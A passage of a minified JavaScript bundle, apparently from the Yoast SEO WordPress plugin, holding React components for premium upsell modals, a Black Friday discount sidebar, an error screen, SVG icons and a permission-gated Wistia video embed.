t=[];for(var s in e)v(e[s],t,s,a.thatReturnsArgument);return t}},7942:e=>{"use strict";function t(e){return function(){return e}}var s=function(){};s.thatReturns=t,s.thatReturnsFalse=t(!1),s.thatReturnsTrue=t(!0),s.thatReturnsNull=t(null),s.thatReturnsThis=function(){return this},s.thatReturnsArgument=function(e){return e},e.exports=s},9179:e=>{"use strict";e.exports=function(e,t,s,r,n,a,o,i){if(!e){var l;if(void 0===t)l=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var c=[s,r,n,a,o,i],d=0;(l=new Error(t.replace(/%s/g,(function(){return c[d++]})))).name="Invariant Violation"}throw l.framesToPop=1,l}}},397:(e,t,s)=>{"use strict";var r=s(7942);e.exports=r},4530:(e,t)=>{var s;!function(){"use strict";var r={}.hasOwnProperty;function n(){for(var e=[],t=0;t<arguments.length;t++){var s=arguments[t];if(s){var a=typeof s;if("string"===a||"number"===a)e.push(s);else if(Array.isArray(s)){if(s.length){var o=n.apply(null,s);o&&e.push(o)}}else if("object"===a){if(s.toString!==Object.prototype.toString&&!s.toString.toString().includes("[native code]")){e.push(s.toString());continue}for(var i in s)r.call(s,i)&&s[i]&&e.push(i)}}}return e.join(" ")}e.exports?(n.default=n,e.exports=n):void 0===(s=function(){return n}.apply(t,[]))||(e.exports=s)}()},9196:e=>{"use strict";e.exports=window.React}},t={};function s(r){var n=t[r];if(void 0!==n)return n.exports;var a=t[r]={exports:{}};return e[r](a,a.exports,s),a.exports}s.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return s.d(t,{a:t}),t},s.d=(e,t)=>{for(var r in t)s.o(t,r)&&!s.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},s.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),s.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},(()=>{"use strict";var e={};s.r(e),s.d(e,{authorFirstName:()=>wn,authorLastName:()=>bn,category:()=>xn,categoryTitle:()=>Sn,currentDate:()=>En,currentDay:()=>vn,currentMonth:()=>kn,currentYear:()=>Rn,date:()=>Tn,excerpt:()=>Cn,focusKeyphrase:()=>In,id:()=>Ln,modified:()=>Pn,name:()=>An,page:()=>On,pageNumber:()=>Fn,pageTotal:()=>Dn,permalink:()=>Mn,postContent:()=>qn,postDay:()=>Nn,postMonth:()=>Un,postTypeNamePlural:()=>Bn,postTypeNameSingular:()=>Wn,postYear:()=>$n,primaryCategory:()=>Kn,searchPhrase:()=>Yn,separator:()=>jn,siteDescription:()=>zn,siteName:()=>Hn,tag:()=>Vn,term404:()=>Gn,termDescription:()=>Zn,termHierarchy:()=>Qn,termTitle:()=>Xn,title:()=>Jn,userDescription:()=>ea});var t={};s.r(t),s.d(t,{DISMISS_ALERT:()=>Dc,SNIPPET_EDITOR_FIND_CUSTOM_FIELDS:()=>Mc,wistiaEmbedPermission:()=>qc});var r={};s.r(r),s.d(r,{loadSnippetEditorData:()=>Wc,updateData:()=>Bc});var n={};s.r(n),s.d(n,{getSnippetEditorData:()=>Qc,getSnippetEditorSlug:()=>Zc});var a={};s.r(a),s.d(a,{getAnalysisData:()=>ad});var o={};s.r(o),s.d(o,{getWincherPermalink:()=>Ad});const i=window.wp.data,l=window.wp.hooks;var c=s(9196),d=s.n(c);const p=window.wp.components,u=window.wp.element,m=window.wp.i18n,h=window.yoast.uiLibrary,g=window.yoast.propTypes;var y=s.n(g);y().string.isRequired;const f=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}))})),w=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{fillRule:"evenodd",d:"M12.293 5.293a1 1 0 011.414 0l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414-1.414L14.586 11H3a1 1 0 110-2h11.586l-2.293-2.293a1 1 0 010-1.414z",clipRule:"evenodd"}))})),b=({learnMoreLink:e,thumbnail:t,wistiaEmbedPermission:s,upsellLink:r,isProductCopy:n,title:a,upsellLabel:o,newToText:i,bundleNote:l})=>{const{onClose:d,initialFocus:p}=(0,h.useModalContext)(),g={a:(0,c.createElement)(N,{href:e,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,c.createElement)(w,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"})};return(0,c.createElement)(c.Fragment,null,(0,c.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,c.createElement)("div",{className:"yst-relative yst-w-full"},(0,c.createElement)(me,{videoId:"vmrahpfjxp",thumbnail:t,wistiaEmbedPermission:s}),(0,c.createElement)(h.Badge,{className:"yst-absolute yst-top-0 yst-right-2 yst-mt-2 yst-ml-2",variant:"info"},"Beta")),(0,c.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,c.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,c.createElement)("span",{className:"yst-logo-icon"}),i))),(0,c.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,c.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,c.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},a),(0,c.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},n?(0,u.createInterpolateElement)((0,m.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,m.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for product titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),g):(0,u.createInterpolateElement)((0,m.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,m.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),g))),(0,c.createElement)("div",{className:"yst-w-full yst-flex yst-mt-10"},(0,c.createElement)(h.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:r,target:"_blank",ref:p},(0,c.createElement)(f,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),o,(0,c.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,m.__)("(Opens in a new browser tab)","wordpress-seo")))),l,(0,c.createElement)(h.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:d},(0,m.__)("Close","wordpress-seo"))))};b.propTypes={learnMoreLink:y().string.isRequired,upsellLink:y().string.isRequired,thumbnail:y().shape({src:y().string.isRequired,width:y().string,height:y().string}).isRequired,wistiaEmbedPermission:y().shape({value:y().bool.isRequired,status:y().string.isRequired,set:y().func.isRequired}).isRequired,title:y().string,upsellLabel:y().string,newToText:y().string,isProductCopy:y().bool,bundleNote:y().oneOfType([y().string,y().element])},b.defaultProps={title:(0,m.__)("Use AI to write your titles & meta descriptions!","wordpress-seo"),upsellLabel:(0,m.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,m.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium"),newToText:"Yoast SEO Premium",isProductCopy:!1,bundleNote:""};const E=({learnMoreLink:e,thumbnail:t,wistiaEmbedPermission:s,upsellLink:r,upsellLabel:n})=>{const{onClose:a,initialFocus:o}=(0,h.useModalContext)(),i={a:(0,c.createElement)(N,{href:e,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,c.createElement)(w,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"}),br:(0,c.createElement)("br",null)};return(0,c.createElement)(c.Fragment,null,(0,c.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,c.createElement)("div",{className:"yst-relative yst-w-full"},(0,c.createElement)(me,{videoId:"vun9z1dpfh",thumbnail:t,wistiaEmbedPermission:s}),(0,c.createElement)(h.Badge,{className:"yst-absolute yst-right-0 yst-mr-4 yst-text-center yst-justify-center",variant:"info",style:{top:"-8px"}},(0,m.__)("Beta","wordpress-seo-premium"))),(0,c.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,c.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,c.createElement)("span",{className:"yst-logo-icon"}),"Yoast SEO Premium"))),(0,c.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,c.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,c.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},(0,m.sprintf)(/* translators: %s: Expands to "Yoast AI" */
(0,m.__)("Optimize your SEO content with %s","wordpress-seo"),"Yoast AI")),(0,c.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},(0,u.createInterpolateElement)((0,m.sprintf)(/* translators: %1$s is a break tag; %2$s and %3$s are anchor tags; %4$s is the arrow icon. */
(0,m.__)("Make content editing a breeze! Optimize your SEO content with quick, actionable suggestions at the click of a button.%1$s%2$sLearn more%3$s%4$s","wordpress-seo"),"<br/>","<a>","<ArrowNarrowRightIcon />","</a>"),i))),(0,c.createElement)("div",{className:"yst-w-full yst-flex yst-mt-6"},(0,c.createElement)(h.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:r,target:"_blank",ref:o},(0,c.createElement)(f,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),n,(0,c.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,m.__)("(Opens in a new browser tab)","wordpress-seo")))),(0,c.createElement)(h.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:a},(0,m.__)("Close","wordpress-seo"))))};E.propTypes={learnMoreLink:y().string.isRequired,upsellLink:y().string.isRequired,thumbnail:y().shape({src:y().string.isRequired,width:y().string,height:y().string}).isRequired,wistiaEmbedPermission:y().shape({value:y().bool.isRequired,status:y().string.isRequired,set:y().func.isRequired}).isRequired,upsellLabel:y().string},E.defaultProps={upsellLabel:(0,m.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,m.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium")};const _=({handleRefreshClick:e,supportLink:t})=>(0,c.createElement)("div",{className:"yst-flex yst-gap-2"},(0,c.createElement)(h.Button,{onClick:e},(0,m.__)("Refresh this page","wordpress-seo")),(0,c.createElement)(h.Button,{variant:"secondary",as:"a",href:t,target:"_blank",rel:"noopener"},(0,m.__)("Contact support","wordpress-seo")));_.propTypes={handleRefreshClick:y().func.isRequired,supportLink:y().string.isRequired};const v=({handleRefreshClick:e,supportLink:t})=>(0,c.createElement)("div",{className:"yst-grid yst-grid-cols-1 yst-gap-y-2"},(0,c.createElement)(h.Button,{className:"yst-order-last",onClick:e},(0,m.__)("Refresh this page","wordpress-seo")),(0,c.createElement)(h.Button,{variant:"secondary",as:"a",href:t,target:"_blank",rel:"noopener"},(0,m.__)("Contact support","wordpress-seo")));v.propTypes={handleRefreshClick:y().func.isRequired,supportLink:y().string.isRequired};const k=({error:e,children:t})=>(0,c.createElement)("div",{role:"alert",className:"yst-max-w-screen-sm yst-p-8 yst-space-y-4"},(0,c.createElement)(h.Title,null,(0,m.__)("Something went wrong. An unexpected error occurred.","wordpress-seo")),(0,c.createElement)("p",null,(0,m.__)("We're very sorry, but it seems like the following error has interrupted our application:","wordpress-seo")),(0,c.createElement)(h.Alert,{variant:"error"},(null==e?void 0:e.message)||(0,m.__)("Undefined error message.","wordpress-seo")),(0,c.createElement)("p",null,(0,m.__)("Unfortunately, this means that any unsaved changes in this section will be lost. You can try and refresh this page to resolve the problem. If this error still occurs, please get in touch with our support team, and we'll get you all the help you need!","wordpress-seo")),t);k.propTypes={error:y().object.isRequired,children:y().node},k.VerticalButtons=v,k.HorizontalButtons=_;var x;function S(){return S=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},S.apply(this,arguments)}y().string,y().node.isRequired,y().node.isRequired,y().node,y().oneOf(Object.keys({lg:{grid:"yst-grid lg:yst-grid-cols-3 lg:yst-gap-12",col1:"yst-col-span-1",col2:"lg:yst-mt-0 lg:yst-col-span-2"},xl:{grid:"yst-grid xl:yst-grid-cols-3 xl:yst-gap-12",col1:"yst-col-span-1",col2:"xl:yst-mt-0 xl:yst-col-span-2"},"2xl":{grid:"yst-grid 2xl:yst-grid-cols-3 2xl:yst-gap-12",col1:"yst-col-span-1",col2:"2xl:yst-mt-0 2xl:yst-col-span-2"}}));const R=e=>c.createElement("svg",S({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 1000 1000"},e),x||(x=c.createElement("path",{fill:"#fff",d:"M500 0C223.9 0 0 223.9 0 500s223.9 500 500 500 500-223.9 500-500S776.1 0 500 0Zm87.2 412.4c0-21.9 4.3-40.2 13.1-54.4s24-27.1 45.9-38.2l10.1-4.9c17.8-9 22.4-16.7 22.4-26 0-11.1-9.5-19.1-25-19.1-18.3 0-32.2 9.5-41.8 28.9l-24.7-24.8c5.4-11.6 14.1-20.9 25.8-28.1a70.8 70.8 0 0 1 38.9-11.1c17.8 0 33.3 4.6 45.9 14.2s19.4 22.7 19.4 39.4c0 26.6-15 42.9-43.1 57.3l-15.7 8c-16.8 8.5-25.1 16-27.4 29.4h85.4v35.4H587.2Zm-82.1 373.3c-157.8 0-285.7-127.9-285.7-285.7s127.9-285.7 285.7-285.7a286.4 286.4 0 0 1 55.9 5.5l-55.9 116.9c-90 0-163.3 73.3-163.3 163.3s73.3 163.3 163.3 163.3a162.8 162.8 0 0 0 106.4-39.6l61.8 107.2a283.9 283.9 0 0 1-168.2 54.8ZM705 704.1l-70.7-122.5H492.9l70.7-122.4H705l70.7 122.4Z"}))),T=window.lodash,C=window.ReactDOM;var I,L,P;(L=I||(I={})).Pop="POP",L.Push="PUSH",L.Replace="REPLACE",function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"}(P||(P={})),new Set(["lazy","caseSensitive","path","id","index","children"]),Error;const A=["post","put","patch","delete"],O=(new Set(A),["get",...A]);new Set(O),new Set([301,302,303,307,308]),new Set([307,308]),Symbol("deferred"),c.Component,c.startTransition,new Promise((()=>{})),c.Component,new Set(["application/x-www-form-urlencoded","multipart/form-data","text/plain"]);try{window.__reactRouterVersion="6"}catch(e){}var F,D,M,q;new Map,c.startTransition,C.flushSync,c.useId,"undefined"!=typeof window&&void 0!==window.document&&window.document.createElement,(q=F||(F={})).UseScrollRestoration="useScrollRestoration",q.UseSubmit="useSubmit",q.UseSubmitFetcher="useSubmitFetcher",q.UseFetcher="useFetcher",q.useViewTransitionState="useViewTransitionState",(M=D||(D={})).UseFetcher="useFetcher",M.UseFetchers="useFetchers",M.UseScrollRestoration="useScrollRestoration",y().string.isRequired,y().string;const N=({href:e,children:t,...s})=>(0,c.createElement)(h.Link,{target:"_blank",rel:"noopener noreferrer",...s,href:e},t,(0,c.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,m.__)("(Opens in a new browser tab)","wordpress-seo")));N.propTypes={href:y().string.isRequired,children:y().node},N.defaultProps={children:null};const U=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17 8l4 4m0 0l-4 4m4-4H3"}))}));var $,B,W;function K(){return K=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},K.apply(this,arguments)}const Y=e=>c.createElement("svg",K({xmlns:"http://www.w3.org/2000/svg",id:"star-rating-half_svg__Layer_1","data-name":"Layer 1",viewBox:"0 0 500 475.53"},e),$||($=c.createElement("defs",null,c.createElement("style",null,".star-rating-half_svg__cls-1{fill:#fbbf24}"))),B||(B=c.createElement("path",{d:"M250 392.04 98.15 471.87l29-169.09L4.3 183.03l169.77-24.67L250 4.52l75.93 153.84 169.77 24.67-122.85 119.75 29 169.09L250 392.04z",className:"star-rating-half_svg__cls-1"})),W||(W=c.createElement("path",{d:"m250 9.04 73.67 149.27.93 1.88 2.08.3 164.72 23.94-119.19 116.19-1.51 1.47.36 2.07 28.14 164.06-147.34-77.46-1.86-1-1.86 1-147.34 77.46 28.14-164.06.36-2.07-1.51-1.47L8.6 184.43l164.72-23.9 2.08-.3.93-1.88L250 9.04m0-9-77.25 156.49L0 181.64l125 121.89-29.51 172L250 394.3l154.51 81.23-29.51-172 125-121.89-172.75-25.11L250 0Z",className:"star-rating-half_svg__cls-1"})),c.createElement("path",{d:"m500 181.64-172.75-25.11L250 0v394.3l154.51 81.23L375 303.48l125-121.84z",style:{fill:"#f3f4f6"}}));function j(){return j=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},j.apply(this,arguments)}const z=e=>c.createElement("svg",j({xmlns:"http://www.w3.org/2000/svg","data-name":"Layer 1",viewBox:"0 0 500 475.53"},e),c.createElement("path",{d:"m250 0 77.25 156.53L500 181.64 375 303.48l29.51 172.05L250 394.3 95.49 475.53 125 303.48 0 181.64l172.75-25.11L250 0z",style:{fill:"#fbbf24"}}));var H,V,G,Z,Q,X,J,ee,te;function se(){return se=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},se.apply(this,arguments)}const re=e=>c.createElement("svg",se({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 500 500"},e),H||(H=c.createElement("path",{fill:"#a4286a",d:"M80 0h340a80 80 0 0 1 80 80v420H80a80 80 0 0 1-80-80V80A80 80 0 0 1 80 0z"})),V||(V=c.createElement("path",{fill:"#6c2548",d:"M437.61 2 155.89 500H500V80a80 80 0 0 0-62.39-78z"})),G||(G=c.createElement("path",{fill:"#fff",d:"M74.4 337.3v34.9c21.6-.9 38.5-8 52.8-22.5s27.4-38 39.9-72.9l92.6-248h-44.8L140.3 236l-37-116.2h-41l54.4 139.8a57.54 57.54 0 0 1 0 41.8c-5.5 14.2-15.4 30.9-42.3 35.9z"})),Z||(Z=c.createElement("circle",{cx:368.33,cy:124.68,r:97.34,fill:"#9fda4f",transform:"rotate(-45 368.335 124.68)"})),Q||(Q=c.createElement("path",{fill:"#77b227",d:"m416.2 39.93-95.74 169.51A97.34 97.34 0 1 0 416.2 39.93z"})),X||(X=c.createElement("path",{fill:"#fec228",d:"m294.78 254.75-.15-.08-.13-.07a63.6 63.6 0 0 0-62.56 110.76h.13a63.6 63.6 0 0 0 62.71-110.67z"})),J||(J=c.createElement("path",{fill:"#f49a00",d:"m294.5 254.59-62.56 110.76a63.6 63.6 0 1 0 62.56-110.76z"})),ee||(ee=c.createElement("path",{fill:"#ff4e47",d:"M222.31 450.07A38.16 38.16 0 0 0 203 416.83a38.18 38.18 0 1 0 19.41 33.27z"})),te||(te=c.createElement("path",{fill:"#ed261f",d:"m202.9 416.8-37.54 66.48a38.17 38.17 0 0 0 37.54-66.48z"}))),ne=({link:e,linkProps:t,isPromotionActive:s})=>{let r=(0,u.useMemo)((()=>(0,m.__)("Use AI to generate titles and meta descriptions, automatically redirect deleted pages, get 24/7 support, and much, much more!","wordpress-seo")),[]),n=(0,u.createInterpolateElement)((0,m.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,m.__)("%1$sGet%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,c.createElement)("span",{className:"yst-whitespace-nowrap"})});const a=s("black-friday-2024-promotion");return a&&(r=(0,u.useMemo)((()=>(0,m.__)("If you were thinking about upgrading, now's the time! 30% OFF ends 3rd Dec 11am (CET)","wordpress-seo")),[]),n=(0,u.createInterpolateElement)((0,m.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,m.__)("%1$sBuy%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,c.createElement)("span",{className:"yst-whitespace-nowrap"})})),(0,c.createElement)("div",{className:"yst-p-6 yst-rounded-lg yst-text-white yst-bg-primary-500 yst-shadow"},(0,c.createElement)("figure",{className:"yst-logo-square yst-w-16 yst-h-16 yst-mx-auto yst-overflow-hidden yst-border yst-border-white yst-rounded-xl yst-rounded-br-none yst-relative yst-z-10 yst-mt-[-2.6rem]"},(0,c.createElement)(re,null)),a&&(0,c.createElement)("div",{className:"sidebar__sale_banner_container"},(0,c.createElement)("div",{className:"sidebar__sale_banner"},(0,c.createElement)("span",{className:"banner_text"},(0,m.__)("30% OFF - BLACK FRIDAY","wordpress-seo")))),(0,c.createElement)(h.Title,{as:"h2",className:"yst-mt-6 yst-text-base yst-font-extrabold yst-text-white"},n),(0,c.createElement)("p",{className:"yst-mt-2"},r),(0,c.createElement)(h.Button,{as:"a",variant:"upsell",href:e,target:"_blank",rel:"noopener",className:"yst-flex yst-justify-center yst-gap-2 yst-mt-4 focus:yst-ring-offset-primary-500",...t},(0,c.createElement)("span",null,a?(0,m.__)("Buy now","wordpress-seo"):n),(0,c.createElement)(U,{className:"yst-w-4 yst-h-4 yst-icon-rtl"})),(0,c.createElement)("p",{className:"yst-text-center yst-text-xs yst-mx-2 yst-font-light yst-leading-5 yst-mt-2"},!a&&(0,c.createElement)(c.Fragment,null,(0,m.__)("Only $/€/£99 per year (ex VAT)","wordpress-seo"),(0,c.createElement)("br",null)),(0,m.__)("30-day money back guarantee.","wordpress-seo")),(0,c.createElement)("hr",{className:"yst-border-t yst-border-primary-300 yst-my-4"}),(0,c.createElement)("a",{className:"yst-block yst-mt-4 yst-no-underline",href:"https://www.g2.com/products/yoast-yoast/reviews",target:"_blank",rel:"noopener noreferrer"},(0,c.createElement)("span",{className:"yst-font-medium yst-text-white hover:yst-underline"},(0,m.__)("Read reviews from real users","wordpress-seo")),(0,c.createElement)("span",{className:"yst-flex yst-gap-2 yst-mt-2 yst-items-center"},(0,c.createElement)(R,{className:"yst-w-5 yst-h-5"}),(0,c.createElement)("span",{className:"yst-flex yst-gap-1"},(0,c.createElement)(z,{className:"yst-w-5 yst-h-5"}),(0,c.createElement)(z,{className:"yst-w-5 yst-h-5"}),(0,c.createElement)(z,{className:"yst-w-5 yst-h-5"}),(0,c.createElement)(z,{className:"yst-w-5 yst-h-5"}),(0,c.createElement)(Y,{className:"yst-w-5 yst-h-5"})),(0,c.createElement)("span",{className:"yst-text-sm yst-font-semibold yst-text-white"},"4.6 / 5"))))};ne.propTypes={link:y().string.isRequired,linkProps:y().object,isPromotionActive:y().func},ne.defaultProps={linkProps:{},isPromotionActive:T.noop};const ae=()=>[(0,m.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,m.__)("%1$sAI%2$s: Better SEO titles and meta descriptions, faster.","wordpress-seo"),"<strong>","</strong>"),(0,m.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,m.__)("%1$sMultiple keywords%2$s: Rank higher for more searches.","wordpress-seo"),"<strong>","</strong>"),(0,m.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,m.__)("%1$sSuper fast%2$s internal linking suggestions.","wordpress-seo"),"<strong>","</strong>"),(0,m.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,m.__)("%1$sNo more broken links%2$s: Automatic redirect manager.","wordpress-seo"),"<strong>","</strong>"),(0,m.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,m.__)("%1$sAppealing social previews%2$s people actually want to click on.","wordpress-seo"),"<strong>","</strong>"),(0,m.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,m.__)("%1$s24/7 support%2$s: Also on evenings and weekends.","wordpress-seo"),"<strong>","</strong>")],oe=({premiumLink:e,premiumUpsellConfig:t,isPromotionActive:s})=>{const r=s("black-friday-2024-promotion");return(0,c.createElement)(h.Paper,{as:"div",className:"xl:yst-max-w-3xl"},r&&(0,c.createElement)("div",{className:"yst-rounded-t-lg yst-h-9 yst-flex yst-justify-between yst-items-center yst-bg-black yst-text-amber-300 yst-px-4 yst-text-lg yst-border-b yst-border-amber-300 yst-border-solid yst-font-semibold"},(0,c.createElement)("div",null,(0,m.__)("30% OFF","wordpress-seo")),(0,c.createElement)("div",null,(0,m.__)("BLACK FRIDAY","wordpress-seo"))),(0,c.createElement)("div",{className:"yst-p-6 yst-flex yst-flex-col"},(0,c.createElement)(h.Title,{as:"h2",size:"4",className:"yst-text-xl yst-text-primary-500"},(0,m.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,m.__)("Upgrade to %s","wordpress-seo"),"Yoast SEO Premium")),(0,c.createElement)("ul",{className:"yst-grid yst-grid-cols-1 sm:yst-grid-cols-2 yst-gap-x-6 yst-list-disc yst-pl-[1em] yst-list-outside yst-text-slate-800 yst-mt-6"},ae().map(((e,t)=>(0,c.createElement)("li",{key:`upsell-benefit-${t}`},(0,u.createInterpolateElement)(e,{strong:(0,c.createElement)("span",{className:"yst-font-semibold"})}))))),(0,c.createElement)(h.Button,{as:"a",variant:"upsell",size:"extra-large",href:e,className:"yst-gap-2 yst-mt-4",target:"_blank",rel:"noopener",...t},r?(0,m.__)("Claim your 30% off now!","wordpress-seo"):(0,m.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,m.__)("Explore %s now!","wordpress-seo"),"Yoast SEO Premium"),(0,c.createElement)(U,{className:"yst-w-4 yst-h-4 yst-icon-rtl"}))))};oe.propTypes={premiumLink:y().string.isRequired,premiumUpsellConfig:y().object,isPromotionActive:y().func},oe.defaultProps={premiumUpsellConfig:{},isPromotionActive:T.noop},y().string.isRequired,y().object.isRequired,y().string.isRequired,y().func.isRequired,c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"}))})),y().bool.isRequired,y().func,y().func,y().string.isRequired,y().string.isRequired,y().string.isRequired,y().string.isRequired;const ie=window.yoast.reactHelmet,le="idle",ce="loading",de="showPlay",pe="askPermission",ue="isPlaying",me=({videoId:e,thumbnail:t,wistiaEmbedPermission:s})=>{const[r,n]=(0,u.useState)(s.value?ue:de),a=(0,u.useCallback)((()=>n(ue)),[n]),o=(0,u.useCallback)((()=>{s.value?a():n(pe)}),[s.value,a,n]),i=(0,u.useCallback)((()=>n(de)),[n]),l=(0,u.useCallback)((()=>{s.set(!0),a()}),[s.set,a]);return(0,c.createElement)(c.Fragment,null,s.value&&(0,c.createElement)(ie.Helmet,null,(0,c.createElement)("script",{src:"https://fast.wistia.com/assets/external/E-v1.js",async:!0})),(0,c.createElement)("div",{className:"yst-relative yst-w-full yst-h-0 yst-pt-[56.25%] yst-overflow-hidden yst-rounded-md yst-drop-shadow-md yst-bg-white"},r===de&&(0,c.createElement)("button",{type:"button",className:"yst-absolute yst-inset-0 yst-button yst-p-0 yst-border-none yst-bg-white yst-transition-opacity yst-duration-1000 yst-opacity-100",onClick:o},(0,c.createElement)("img",{className:"yst-w-full yst-h-auto",alt:"",loading:"lazy",decoding:"async",...t})),r===pe&&(0,c.createElement)("div",{className:"yst-absolute yst-inset-0 yst-flex yst-flex-col yst-items-center yst-justify-center yst-bg-white"},(0,c.createElement)("p",{className:"yst-max-w-xs yst-mx-auto yst-text-center"},s.status===ce&&(0,c.createElement)(h.Spinner,null),s.status!==ce&&(0,m.sprintf)(/* translators: %1$s expands to Yoast SEO. %2$s expands to Wistia. */
